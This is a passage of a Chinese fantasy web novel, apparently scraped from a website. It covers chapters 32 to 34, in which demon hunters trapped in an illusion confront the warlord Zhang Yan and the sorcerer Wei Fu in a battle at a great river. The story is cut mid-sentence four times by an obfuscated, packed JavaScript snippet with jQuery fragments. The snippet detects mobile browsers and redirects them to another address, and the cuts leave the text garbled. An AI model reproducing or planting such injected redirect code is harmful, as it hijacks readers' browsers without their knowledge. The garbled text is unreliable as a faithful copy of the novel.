沈惊澜提议:“不如我们去跟张衍套个近乎?反正他要东渡,也得找到大河,说不定我们殊途同归呢。”
他们走到战场边缘,果然如初入幻境时的场景一模一样,苍凉的空气中夹杂着鲜血的温热,尸横遍野,几只乌鸦扎堆落在枯树上,探头探脑快速地扫视战场为它们留下的盛宴。
几支破胸枪,数柄穿肠剑,场面实在太过惨烈,第一次到这里时沈惊澜不敢多看。如今她胆子大了些,走到一具盔甲残破倒在血泊中的尸体旁,把他的身子翻过来正对自己,居然是一张稚嫩的女子的面容。
沈惊澜惊呼:“真的是女子!看起来不过十五六岁,怎会如此?!”
她是被一剑割喉,鲜血染红了大半张脸,头发散乱被血站在脸上,模糊了她原本年轻秀气的面庞。
小小的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717042|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手中握着一把长长的斧头,与娇小的身子极不匹配。沈惊澜从她手中掏出斧头,上面没有血:“她还没来得及杀人便被敌人所杀。”
“这个人甚至穿着普通的粗布衣服。”卫昭明走到一个男子身旁,翻过身,竟是一个头发花白的老者,一箭穿心,死不瞑目。
卫昭明不忍地别过眼睛,为他轻轻合上眼眸,“如师兄所说,应当是万州的普通百姓。”
沈惊澜终于明白了:“张衍兵败回到万州,一开始万州的百姓还没有听到消息,以为张衍回来是要壮大声势,可后来张衍一路烧杀屠戮抢夺百姓钱财,百姓不堪其辱,便自发起兵反抗。”
消失的耳朵,被砍断的手……幻境不过是历史的一两个片段,张衍一路杀来,不知多少人死于他手。
“壮年男子与张衍一同北伐死在了京城,万州如今只剩老弱妇孺。”沈惊澜说着眼眶泛红,手中的斧头此刻仿佛千斤重,她无法想象要有多绝望,才会让这些十几岁的小姑娘,半身入土的老人穿上州府逃走后遗留下来的盔甲,拿起刀拿起斧子,与张衍的数百骑兵对抗。
“你们是何人?”前方传来熟悉的声音。
沈惊澜握着斧头起身,不远处张衍身披金甲手握长枪,身下一匹纯白战马,被余晖染成血色。
“阿兰,他们早就已经死了,杀了他们除了泄愤之外毫无用处。”
卫昭明看出沈惊澜眼底的杀意,上前一步挡在她与张衍之间,皮笑肉不笑道:“想必阁下就是张衍将军吧?我们几人是除妖师,听闻将军一枪斩暴君,颇为钦佩,想为将军问鼎天下献绵薄之力,还望将军不要嫌弃。”
“除妖师?”张衍猎鹰一般的目光从一行人身上扫过,“你们没有钱财没有粮草没有兵马,除了捉几只小妖,还能做什么?”
沈惊澜闭上眼睛深吸一口气,压制住心底的杀意,再次睁开眼时,换上一副高深莫测的表情:“将军恐怕还不知道吧,永安王的手下中便有不少除妖师,他们降妖为己所用,一妖可抵万军。将军麾下自然都是能征善战的勇士,但毕竟都是肉眼凡胎,与妖相抗,必落下风。”
张衍收起长枪:“你们能为我除妖杀了赵明舟?”
沈惊澜看向身后的谢清言,后者点点头,她便继续道:“不需要除妖,我们有世上最强大的妖,一妖可敌百妖。”
张衍眼中陡然多了狂热的战意:“好,很好,你们现在就随我回营共商大计,事成之后,必有重赏!”
说完,张衍一行消失,眼前仍是几棵枯树,乌鸦观察这群奇怪的人似乎没有威胁,大胆飞到树下的一具尸体上,开始享用今天的晚餐。
“可惜,本来想利用张衍来找到大河的。”沈惊澜弯下腰,把斧头放回到女子的手中,攥起衣袖,为她擦去脸上的血污。
祝红月听得满头雾水:“什么大河?你们找河做什么?”
谢清言没有理会她,道:“没什么可惜的,我知道河流在何处了。”
四人皆是一惊:“在何处!”
她望着最后一点残阳,幽幽开口:“就在此处。”
32. 第 32 章
忽而夜幕深沉,疏星点点,寒气渐生。
一行人也没找住处,以天为幕,以地为席,在战场旁不远处歇下。
祝红月等人连日奔波,终于能好好休息,很快便睡得沉了。
谢清言自说了大河的位置后就一言不发,独自坐在远处,低着头,不知是睡是醒。
“你说她到底在想什么?”沈惊澜靠着一块石头半躺下,困得眼皮打架不停打架,仍不敢睡。
她的声音因为困意带着浓浓的鼻音,为寒冷的夜晚增加了几分潮湿。
春潮带雨,黄梅阴晦,一句最普通不过的话,卫昭明不知怎的就心神荡漾起来。
“你怎么不说话?”沈惊澜用手强行把头支起来,朦胧之间见卫昭明表情有些古怪。
“我,我怎么知道……”卫昭明喉咙发紧,眼睛从沈惊澜身上移开,“也许她有什么难言之隐吧。”
“你太累了,再不睡恐怕熬不到出幻境了。”他生硬道。
沈惊澜猛地一点头,稍微清醒了些,眉头微微皱起:“你就不能盼我点好。”
连她自己都没注意到自己声音中有几分娇嗔,让两人之间湿润的空气变得更加粘腻。
卫昭明在夜色的掩盖下红了脸。明明前面就是血腥的战场,明明危机四伏前路不明,偏偏就是在这样一个苍凉的夜晚,喜欢的女子坐在自己身旁,肩膀隔了不到一尺,轻声说着只有两人能听到的话。
甚至只要一转头,就能感受到对方平缓的呼吸。
卫昭明伸出胳膊放在她的后脑,藏住自己的私心:“困了就睡会,我们都守着,放心。”
她早就困得恍惚,脖子一有了支撑,便什么都不想了,马上就顺着倒下。
卫昭明很有分寸地只是用胳膊抵在她和石头间作枕头,再近一点便能用她入怀。
秦秋饶有兴致地看着卫昭明脸上的那点小心思,轻声调侃道:“昭明喜欢阿兰,为何不跟阿兰表明心意?”
这话却是戳中了卫昭明的痛处。
“我说过,她不愿。”
“我瞧着阿兰对你也是有意的,只是她有心事,还放不下。”
卫昭明垂眸看向倒在他臂弯的女子,星辉盈盈照亮她光洁白皙的皮肤,在侧脸洒下一片暗影,映得她水墨般的眉眼影影绰绰。
浅青色的衣裙满是血污,她不喜欢血污,卫昭明默默施法把她的衣裙弄干净,淡淡的青草香袭来,带着春日的生机和初晨的清冽。
她有心事,他一早便知道,什么情郎,什么拐卖,一开口全是漏洞,只是他别无选择,只能相信罢了。
“我可以等,”卫昭明话锋一转,“倒是师姐莫要再等了。”
秦秋一愣,下意识看向裴玄,后者正专心打坐已入神游,并未注意到她的目光,更没发现自己成为话题的中心。
他根本不知道。
秦秋收回目光,不自觉握紧拳头,声音极轻,不知是说给卫昭明还是说给自己,“可是他已经有了爱慕的人……”
卫昭明有些吃惊:“除了师姐,谁能得师兄青睐?”
他一心扑在沈惊澜身上,半点也没注意到裴玄偶尔晦涩的目光。
秦秋沉默。
她不想说,卫昭明便不再问,继续道:“师姐没试过,又怎知不可?”
“锦绣城中女弟子不多,我记得师姐初到锦绣城时,为了证明自己不比男弟子差,整日练功从未喊过一声苦一声累,不过短短三年便打败了除大师兄以外的所有弟子。”
“师姐何曾怕过?何曾放弃过?”
秦秋轻叹一声:“可感情之事不能勉强。”
“为何不能?”卫昭明身子微微向前倾了一下,胳膊上的沈惊澜本就睡得不安稳,一动便迷迷糊糊醒了过来。
卫昭明稳住身体,见沈惊澜依旧闭着眼,便压低声音继续道:“不勉强,怎知不行?”
“她不愿,我偏要勉强一试,哪怕撞得头破血流,哪怕在她眼里我就是个笑话,又如何?”
“师姐,至少别让自己有遗憾。”
沈惊澜一字不落地听了个清清楚楚,正犹豫要不要继续装睡,肚子却好巧不巧地“咕噜噜”叫起来。
她慢慢睁开眼睛,佯装打了个哈欠,离开卫昭明的胳膊,摸摸肚子不好意思道:“太久没吃东西了,有点饿。”
卫昭明不动声色地放下胳膊,独属于她的温度消失,臂弯间空落落的感觉实在让人失落。“我这里还有一块饼,放久了有些干,你要是不嫌弃就先垫垫肚子。”
“多谢,有总比没有好。”接过饼时,不小心触碰到卫昭明的手指,身子明明还带着冷意,指尖却微微发热。
像是被热水烫到一般,沈惊澜接过饼飞速收回手。
明明刚才都靠着他睡着了,还要在意这点细节,她也有点拿不准自己。
若说完全对他无意,自然是假话,她做不到自欺欺人,只是不管遇到什么困难都卯足了劲儿往前冲的沈惊澜,在感情面前成了畏葸不前的胆小鬼。
顾忌的东西太多,便选择当起缩头乌龟,同时又不舍得拒绝卫昭明对她的好,这一点连她自己都看不起自己。
贪恋,又患得患失。
好在谢清言没给她太多伤春悲秋的机会,突然就疾步走来,面容严肃:“卫符马上就到,张衍一会也会来与我汇合。”
四人皆愣住:“你这是何意?”
谢清言转身背对着他们,瘦削的身影与黑夜融为一体,声音依旧清冷,让人听不出情绪:“在原来的幻境中,我约张衍带领一小队精锐来此,助他东渡。”
“你们真的以为他不知大势已去,再无东山再起的可能?”
“他答应你们,不过是想利用你们为他敛财帮他逃走。”
“张衍已经被妖气所惑,烧杀抢掠无恶不作,你们看到的不过是万州一隅,事实上万州惨状,更甚于京城。”
城中无男丁,妇孺披盔甲。
白骨露于野,千里无鸡鸣。
沈惊澜不解:“所以你约他来此,是要杀了他?杀他多容易,为何要如此大费周章?”
“他因沾染上我的妖气而作恶多端,煞气太重,几近入魔,子时,我会为他渡化妖气,还他一个普通凡身。”
沈惊澜有一种不好的预感,她上前一步又停下。
谢清言此刻不愿面对他们,沈惊澜注视着她的背影终是没有再往前一步。
她眸子微动:“你是不是想做什么傻事?”
谢清言声音柔缓了些:“怎么会?我惜命得很。”
沈惊澜不放心,故意激她道:“你最好好好活下去,别
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717043|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想着什么牺牲自己拯救苍生这种大义凛然的话,云山已经被卫符后人所占,你不活着出去,便没人替云山惨死的人和妖报仇。”
“云山……已经被卫符后人所占了么……”
谢清言回首微微一笑:“你放心,我一定讨回来。”
子时已到。
张衍率几十人马,带着十余辆马车,如约而至。
谢清言瞥了一眼,目光冷淡:“东西不少。”
张衍不耐烦地摆摆手,喝道:“你懂什么,没有钱财如何东山再起?”
“快助我东渡,事成之后,定不会亏待你。”
万州几乎是座死城了,他一刻也不想多呆,若不是谢清言说东方海岛上有无尽宝藏,他此刻早已离开万州南下另谋出路。
突然一阵风起,星辉似被浓雾笼罩霎时黯淡,一方天地陷入伸手不见五指的黑暗之中。
沈惊澜一颗心提到了嗓子眼,下一瞬手被熟悉的温度包围,如同初冬的薄雪。
“你倒还有闲情去渡化别人,不如想想怎么渡化自己。”
卫符的声音从四面八方而来,低沉中带着尖锐的邪气。
谢清言的位置亮起一道苍白的光,光束在她手中跳动,照亮了她干瘦的面庞。“我不仅要渡化他,还要杀了你。”
“哈哈哈哈哈哈——”卫符大笑不止,声音直刺人耳膜,“你可真是狂妄。”
“七年前你被烧成重伤,如今又差点被我吸干,虽然不知道你用了什么招数还能活到现在,但是谢清言,你,命数已尽,今日我便来取你性命。”
“还有你们,一个拿着青风剑,一个流着跟我相似的血,我虽不知你们是谁,从何而来,但可以一起一送你们归西。”
沈惊澜指尖轻轻挠了挠卫昭明的掌心,“你的先祖也太狠了,自己人也不放过。”
卫昭明冷哼一声,另一只手已经拔出浮光剑:“什么自己人,我自知道他真面目起,就没把他当成卫家人。”
紧接着隐隐涛声传来,谢清言手中的光亮骤然万丈之大,刺穿黑夜,映成白昼。
大河自天倾泻千里而下,浪涛滚滚,汹涌袭来。
谢清言高声道:“阿兰,你要找的大河就在这里,剩下的,靠你自己了!”
众人皆愣住:大河竟由谢清言而引!
说罢,她飞身入空,与卫符相望对峙,黑色的大氅在风中猎猎作响。“卫符,你一个除妖师却一心想要化妖,想要长生,真是天大的笑话。”
“你就不好奇为何这里还有一把青风剑吗?”
新的幻境中,他又有了青风剑。
卫符眯起眼睛,手握在剑柄,食指指尖不紧不慢地敲击,在河流奔腾的咆哮中,发出异常清脆的鸣响。
他一字一字道:“很快,这里只会有一把青风剑。”
裴玄持剑踏河而上,立在谢清言旁:“你被困在幻境百余年,外面早已换了天地,纵得长生又如何?”
卫符仰天大笑:“从看到你们我便有所猜测,谢清言,不是只有你能想起来。”
“长河自天启,能吞万物,自然也包括你们。”
“蹉跎百年又何妨!待我斩妖破幻境,我依然是天下除妖师之首,依然可以长生!”
说完挥剑引河而下,要将众人尽数卷入河中!
33. 第 33 章
长河滔天瀑落,从黑夜闯入白昼,撞击地面溅起千万朵雪白的浪花,冲向张衍的军队。
“你竟敢耍我!”张衍爆了句粗口,抛下一队人马扬鞭而逃,然而大河急流奔腾,如同巨兽张开血盆大口露出獠牙,顷刻将张衍一队人卷入浪涛之中。
沈惊澜河祝红月等人堪堪避开漫溢的河水,抬头望去,谢清言周身飘起白梅花瓣,很快花瓣越来越多,在她周围形成密不透风的帷帐,另一边卫符黑烟笼起,四散蔓延,一黑一白,形同八卦。
谢清言突然出手,花瓣化作万千利刃,齐刷刷射向卫符,卫符不敢怠慢,黑烟化作缕缕丝线,看似轻盈却有削铁之力,精准刺穿一个个花瓣,将其破为更多的花瓣,一时之间万千花瓣汹涌成河,黑烟缭绕其中恍若雪下黑枝,在天地间绘成一幅雪中白梅。
“你下去找阿兰,一会我会把卫符困在河中,你们找机会出去。”谢清言分出一分心神对身旁的裴玄道。
裴玄问:“那你呢?”
“我自有办法。”
花瓣纷纷坠落,谢清言脚点飞花而上,掌心同时运力,朝卫符飞去。
“快去!”
裴玄立刻回到沈惊澜等人身边,急切道:“阿兰,你曾说过破解幻境需要什么?”
沈惊澜飞速回想:“需要除掉河中妖怪。”
“妖怪……是谢清言!也有可能是卫符!”
她现在脑子很乱,越是乱,越记不清原著剧情是怎样的。
系统?系统你在吗!
系统这次居然配合出现:
“【系统提示】:于河中,杀谢清言或卫符,方能得救。”
或?
沈惊澜眼睛亮了起来:“杀卫符,卫符现在已是非人,杀卫符,我们便能得救!”
她抬眼望去,谢清言的身体已被刺眼的白光包围,看不真切,那一团灼日的光芒急速冲入团团浓烈的黑烟之中,一切其他的事物皆失了色彩,两人强大的力量让世界短暂地分为黑白两端。
众人摒住呼吸,只见黑白相交的刹那,时间仿佛暂停,黑烟凝固,白光静止,万物陷入夐远的寂静。
只有无尽的涛声从远古的时间涌来,成为天地间的唯一的噪音。
下一刹那,白光黑烟骤然消失,黑夜恢复如常,两个身影在星辰映照之下齐齐坠落,掉入茫茫大河之中。
“阿秋,就是现在!”
“明白!”
裴玄与秦秋立刻动身准备跃入河中。
“师兄,我跟你们一起去!”
“你留下来保护阿兰,”裴玄握住卫昭明的手,眼睛示意一旁的祝红月,低声道,“一会幻境破灭,他们便会消失,无人能保护阿兰,你留下。”
然而大河并不会如人所愿,一道浪流激起三丈高,以吞天灭日之势将所有人卷入其中。
大河流速极快,在冰冷彻骨的河水中,沈惊澜的手被卫昭明死死抓住,身体如同落叶被风卷起,无助地随着水流上下起伏。
裴玄和秦秋立刻在河中稳住身形,一剑一锤设起护阵,几人才得以喘息。
沈惊澜被灌了一肚子的水,跪在地上咳了好一会,几乎要把肺都咳出来,气息才勉强顺了一些。
卫昭明食指中指并拢,抵在她的喉咙处,淡淡的红晕渗入喉咙之中,带来一丝暖意:“别慌,慢些喘气,便不难受了。”
“还真是。”她的声音哑得不像话。抬头看去,阵法周围是望不到尽头的浑浊河水,偶尔飘过几根手指残肢,耳环玉镯,也倏地就随水流不见了。
“谢清言和卫符都不见了,”沈惊澜喃喃道,“河底,大河之妖在河底!裴大哥秦姐姐,你们可去河底一寻。”
“好,你们若有机会便逃上岸,找个安全的地方躲好,杀了卫符之后我们自会汇合。”
卫昭明与祝红月等人一起施法护阵,裴玄与秦秋便立刻动身去寻卫符。
“你身子一直没恢复好,我们还是要想办法逃出河。”沈惊澜见卫昭明脸色苍白,约莫着撑不了多久。
大河之势超出她的想象,水流越来越广越来越急,带着谢清言和卫符的法力,水压如山,稍不留神就会卷入其中被压至河底溺亡。
“你们几个,去探探。”祝红月吩咐手下道。
“是!”
“祝姑娘,你的手怎么了?”沈惊澜声音不稳。
“你说什么?”祝红月一直全神贯注护阵,一低头,一双手不知何时从指尖开始变得透明,“我的手怎么会变成这样?”
不只是祝红月,其他几个手下也皆是如此。
沈惊澜与卫昭明交换了个眼神:影妖在消亡,也许意味着幻境正在崩塌。
“祝姑娘,”沈惊澜不知该如何跟祝红月解释,“也许是卫符施展的法术,你们不小心中招了。”
她还是选择隐瞒。
若说出真相,她不知道身为影妖的祝红月能否理解,若理解,又该陷入怎样的痛苦与虚无之中。
祝红月的一双手几近完全透明,紧接着蔓延至胳膊。她有些慌了,身子一动,双手彻底消失,法力也随之消弭。“为什么会这样?一路至此我们与卫符并未交手,怎会中招?为何你们没事?”
“阿兰姑娘,你是不是有什么事瞒着我们?”
祝红月眼睁睁看着自己和同伴的身体渐渐消失,如花的面容逐渐崩溃:“阿兰姑娘?你说话啊!你到底知道些什么?难道,难道你们早与卫符勾结在一起,要彻底控制王爷控制天下?”
“不是的……”沈惊澜哽住,祝红月和她的手下只剩躯干,她伸出手想去抓住他们,但阵法不稳,刚迈出一步便跌倒在地,“祝姑娘,这里一切都是假的,你放心,很快一切都会结束,你们再也不用被困在这里,你们可以放下执念,安心归去了……”
“你在说什么?为什么我听不懂?阿兰姑娘……”话说到一半,祝红月和其他人便消失了。
消失在长河之中,没有留下一点痕迹。
沈惊澜使劲眨眨眼睛,逼回眼泪,撑起身子站起来,长舒一口气:“他们终于解脱了。”
“所以你不必为此难过。”
“是啊,我不必难过,至少我们都会记得他们。”
沈惊澜快速整理好情绪,开始为下一步做打算:“你还能撑多久?”
卫昭明道:“马上就撑不住了。”
他面色苍白,身体微微颤抖,一柄浮光剑立于身前,剑身周围淡淡红晕闪烁不定。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717044|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
必须马上自救。“你还记得我们第一天见面,被困船山地底妖海的时候吗?”
“当然。”
她语速极快:“当时我们破土而上,其实离成功已经很近,不如再试一次,大河自天启,那我们便破长河而上,只管往天飞去,总能逃出去。”
卫昭明回头望着身后的女子,比起困在妖海之时,眼中更多了几分坚定果决。
他抿起嘴角,与她异口同声道:
“唯有一试!”
卫昭明手持长剑,将所有法力汇聚至剑顶端,直指长河最深处。
“抓紧了!”他抱住沈惊澜,一团绯红的流光向上刺入长河,排开万顷波涛,形成一条通天大道,“起!”
两人随剑而上,一边飞,身下浪涛一边叫嚣着追着二人排山倒海而来。
沈惊澜紧紧搂住卫昭明纤细的腰身,两人身体都被河水打湿,衣裳紧紧贴在身上,勾勒出两人纤瘦的线条。
明明河水彻骨寒冷,相贴之处,却异常滚烫。
沈惊澜不自觉地抱得更紧了些。
感受到她的力道,卫昭明身体僵住,却不敢分神。
终于,浮光剑刺破河面,映下一道温柔的星光。
“卫昭明我们得救了!”沈惊澜兴奋地搂着他,“我们终于自己救了自己,不再是炮灰了!”
“阿兰,”卫昭明却喷出一口血,手中浮光剑止不住晃动,“你要自己找一个安全的地方躲起来,等着师兄师姐来找你。”
沈惊澜愣住:“你什么意思?”
下一刻身体被卫昭明腾空抱起,他双手向上一托,淡淡的红晕将沈惊澜托起,慢慢送往河面。
“卫昭明你这是做什么!”沈惊澜慌乱地伸手想抓住他,却发现身体动弹不得,竟是被他施了定身咒。
为什么又是这样?
沈惊澜大喊:“卫昭明你这个混蛋!”
她本就喉咙受损,一喊起来便声嘶力竭,如大风过境,卷起满地风沙。
“你快放开我!谁稀罕你逞能当英雄!我说了你这条命是我救的,我要你好好活着!你听到没有!”
沈惊澜使出全力扭动着身体,在浮出水面的那一刻,定身咒突然失效——
卫昭明不行了。
溺水之人,慌乱挣扎只会越陷越深,直至被水淹没。
这是她小时候上游泳课就知道的道理。
只要她冷静地漂在水中,调整头部的位置,自然而然就会浮起,直至获救。
沈惊澜没有犹豫,翻身挣扎着潜入水中。
浮光剑还未沉下!
她来不及多想一把握住剑身,手掌立刻被割出一道深深的口子,浓稠的血液散入河中,很快被冲散。
剑的另一头有重量。
一如闯入火海时那般义无反顾,心底却多了心疼。
为什么这个人总是可以为了别人这么轻而易举地就舍弃性命?他的命呢?他不在乎吗?
他总是想证明自己,证明自己是有用的,配得上锦绣城少主、卫长枢儿子的头衔,所以每每奋不顾身,伤痕累累也在所不惜。
可卫昭明,我在乎。
不仅仅是因为要走剧情。
而是,我在乎。
34. 第 34 章
大河不知深几许,一眼望不到底的浑浊中,沈惊澜的身体随着河水颠簸,滔滔水势要将她裹挟撕碎,唯一能做的,只有紧紧抓住浮光剑。
长剑的另一头,绯红的衣袍飘散在浊水中,平时总是束得很规整的马尾散开,遮住了他的面庞。
沈惊澜不知他是否还清醒,心一横,使出全身的劲儿握住剑往回拽,然而河流之下水压带着法力,根本不是她凡人之躯能对抗的,这力道反倒让自己加速下沉。
卫昭明?沈惊澜沉到他身边,捧住他的脸,只见他双目紧闭,脸色铁青,不过应当闭住了自己的呼吸,暂时不至于溺死。
屏气几乎到极限了,心跳沉重地“咚咚”“咚咚”,几乎要跳出胸腔。胸口要被涨开撑裂,缺氧让她很难冷静思考。
该怎么办?
视线渐渐模糊,她抱住卫昭明单薄的身躯,用另一只未受伤的手握住剑柄,朝卫昭明的肩膀刺去。
卫昭明,你醒醒。
她带着乞求,将剑没入他的臂膀。
暗红的鲜血涌出,在水中与她的血纠缠相融,萦绕在二人周围,随之一起下坠。
濒死的滋味她尝过太多次,甚至已经轻车熟路,她抱着卫昭明,没有恐慌,甚至很平静,慢慢地下坠,再下坠,如无垠宇宙中一块普普通通的陨石,没有声音、没有感知,一切都是虚无。
蓦地,沈惊澜昏迷之际感觉到腰上多了一股力道。
她的眼睛睁开一条缝,猝不及防地撞入卫昭明深邃而又明澈的眼眸中。
大脑一片空白,沈惊澜丧失了思考的能力,心里万般波澜在水中无法说出口,力气只够动动手指,轻点卫昭明的后背。
卫昭明,我们还活着。
“【系统提示】:宿主生命正在流失,请尽快采取有效措施!”
寡淡的声音再次响起,沈惊澜恍惚之中瞥见水深处一缕黑烟缓缓升起。
她戳戳卫昭明的后腰,示意他向下看去。黑烟突然急速上升袭来,卫昭明眼眸微动,再次握紧浮光剑,同时另一只手食指中指并拢直点自己眉心,硬生生在印堂剖开一道口子。
你这是做什么?
沈惊澜抓着他的手臂,茫然无措地望着他。
卫昭明双目紧闭,眉头皱成川字,淡红色的光芒从印堂迸发,直入水底,与黑烟交融,形成强大的气浪将二人包围,瞬间冲出大河!
五脏六腑似被寒冰冰冻,冻得生疼,几乎崩裂,一离开水面,沈惊澜本能地止不住地喘着粗气。
缓了好一会,呼吸终于慢慢顺畅,视线渐渐恢复清明。她这才发现,原来自己正在一个冰柱上,冰柱自河底直贯而上,冲出河面形成方寸平安之地。
卫昭明倒在她身旁,湿发杂乱地贴在发青的脸上,起了层层冰霜。
“卫昭明?卫昭明你醒醒!”沈惊澜爬到他身边,慌乱地拍打他的脸颊。
不过是碰到几下,沈惊澜的手上就冻得生疼。“你身上怎么会这么冷……”她的声音染上了哭腔,整个人伏在卫昭明的胸膛想为他暖暖身子,却不小心碰到了他肩膀上的伤口。
伤口还在渗血,沈惊澜连忙扯下一截裙子为他包扎,可是越急手就越抖得不听使唤。“你别怕,我这就给你止血,你会没事的,卫昭明你一定会没事的……”说着说着,几滴眼泪串珠似的落到手上,沈惊澜这才发现自己竟泪流满面——
包扎伤口的时候,根本感觉不到卫昭明的胸口有起伏。
沈惊澜心中最后一根弦终于绷断。
“怎么会呢?你怎么会死呢?你死了为什么我还活着?”她早已力竭,倒在卫昭明身上,一遍又一遍地抚摸他的面庞,手上结了一层薄冰也未停下。
她失去理智,呆愣地望着他的脸,不停地喃喃自语:“你若是死了,为何我还活着?为何我没有化作一缕孤烟?你告诉我这是为什么啊……”
“难道你的死无关紧要吗?你明明是关键角色啊……”
沈惊澜再也说不下去,所有压抑的情绪,所有的恐惧、无措、慌乱在这一刻一齐涌出。
“不,你不会无关紧要,我们还有办法,对不对?你一定还有执念,我可以想办法,可以去求别的妖怪把你化作鬼妖,就像阿狗那样,鬼妖也没有什么不好的,不能转世又怎样?来世若做牛做马劳苦一生,倒不如今世做个妖来得痛快。”
“卫昭明你一定还有执念,你等着,我一定会让你活过来!”
“你我是炮灰命,但我偏不信命,我偏要人定胜天,偏要逆天而为。”
说完,沈惊澜彻底倒下,目光直愣愣地望着夜空,远方地平线已有了一束不起眼的曙光。
沈惊澜全身脱了力,瘫在冰柱上缩在卫昭明身旁。余光中黑烟绕着冰柱升起,卫符在黑烟中时隐时现,身后谢清言三人紧追不舍。
她已无力去在乎这些。
卫符脚点冰柱而上,快到顶时,青风剑“嗖”地飞来,堪堪擦过卫符的鼻梁钉在冰柱上,流英锤立刻接上砸向他的胸膛。
卫符握住青风剑,荡在冰柱上,在锤子挥来的一刻想要荡走,谁料谢清言要有准备,手上稍一用力,几片白梅花瓣刺穿他的肩膀将他紧紧钉在冰柱上,结结实实承受秦秋的奋力一击。
鲜血四溅,染红冰柱,卫符身如浮舟,摇摇欲坠,然而眼睛瞪得通红,死死盯着飞悬在空中的谢清言,偏执如同烈火将他团团包围灼烧。
他脸上青筋暴起,血液从握着青风剑的手掌滴下,整张脸浴血狰狞,骇人非常。
卫符咬牙切齿:“谢清言,我死了,你也不会有好下场。”
谢清言干瘦的脸上依旧没什么表情,声音浅浅,语调平平:“无妨,我受得住,只要你死了便好。”
“师祖。”裴玄停在卫符身前,准备抽出青风剑给卫符最后一击。
裴玄手握在剑柄,顿了顿:“对不住了。”
说罢抽出长剑,谁料卫符竟还有一丝力气,借着裴玄腾空之势欲登冰柱顶端。
“阿兰小心!”
然而卫符终究是强弩之末,最后的挣扎下不过只触碰到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717045|173766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了边缘,手指死死扣在冰面上,不肯松手。
沈惊澜扫了眼,手指的温度慢慢融化接触的冰层表面,一点一点下滑,只要她轻轻一推,便能将他推入万顷波涛。
秦秋落到沈惊澜身前,抬起手掌运力要把卫符拍下。
“秦姐姐,等一下。”沈惊澜叫住她。
秦秋回头:“阿兰别担心,我来了结他,我们很快就能出去了。”
她摇摇头,声音微弱,一阵风便能吹散:“秦姐姐,能扶我一下吗?”
秦秋犹豫了下,还是扶她起身。
沈惊澜手上的伤口已被冰冻住,手指僵硬,不能动弹。她两只手一起使力,捡起卫昭明掉落的浮光剑,在秦秋的搀扶下,慢慢挪到冰柱边缘。
蹲下身子俯身瞧去,卫符只剩指尖扣在冰面上,因为太过用力,留下数道深红的血痕。
“卫符。”沈惊澜声音沙哑,轻声道。
卫符已经意识模糊,听到她的声音,喉咙里发出一声浑浊的哀叹。
她淡淡叹了声,脸上露出一丝讥笑:“可惜,我不能将你千刀万剐。”
说完没等卫符反应,一剑捅入他的颈部。
而后用力一旋,慢慢抽出,卫符终于再没有任何挣扎,掉入深不见底的河中,一个浪花之后便没了踪影。
颈部动脉飙血,溅了沈惊澜一脸,粘稠的血液沾在眼上模糊了视线。
一切都结束了。
她倒在秦秋怀中,隐约看到有人落下。
是裴玄还是谢清言?沈惊澜看不清。
有人在说话,似乎在告别。她也听不清。
五感变得麻木,意识陷入混沌之中。身体好像悬空,但她不在意,也无法在意,思绪化作柳絮随风飘向远方,不知哪里才是归处,便杂乱无章地乱舞,搅成一团浆糊。
只有一个念头无比清晰:
卫昭明死了。
没有心跳没有呼吸,彻彻底底地死了。
有什么办法能冷冻他的尸体,等她恢复法力后把他变成鬼妖?
若锦绣城要把他夺走,该如何?
如果这是一场梦该多好,醒来她在自己家温暖的床上,按下闹钟发现今天是周末,安心地关上闹钟,再睡一会儿懒觉。
然后她睡到自然醒,拉开窗帘,外面阳光正好,洒在被窝,把小小的房间晒得暖烘烘的。
最近还想学习烘焙,可是肚子上多了几两肉,思来想去还是作罢。
她可以什么都不想,安逸地在家宅一整天,刷刷手机看看书,也许会点开很久之前看过的《志妖录》,感慨一下书中的卫昭明心思真坏。
她不会受这么多伤,不会认识卫昭明,也不会难过。
眼前白茫茫一片,冰冷的死寂之中,突兀的声音突然响起:“【系统提示】:主线剧情已完成35%,恭喜你活了下来。”
